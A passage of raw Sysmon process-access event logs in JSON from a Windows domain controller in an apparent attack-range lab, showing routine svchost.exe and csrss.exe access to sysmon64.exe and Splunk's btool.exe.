11:52:24.086","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\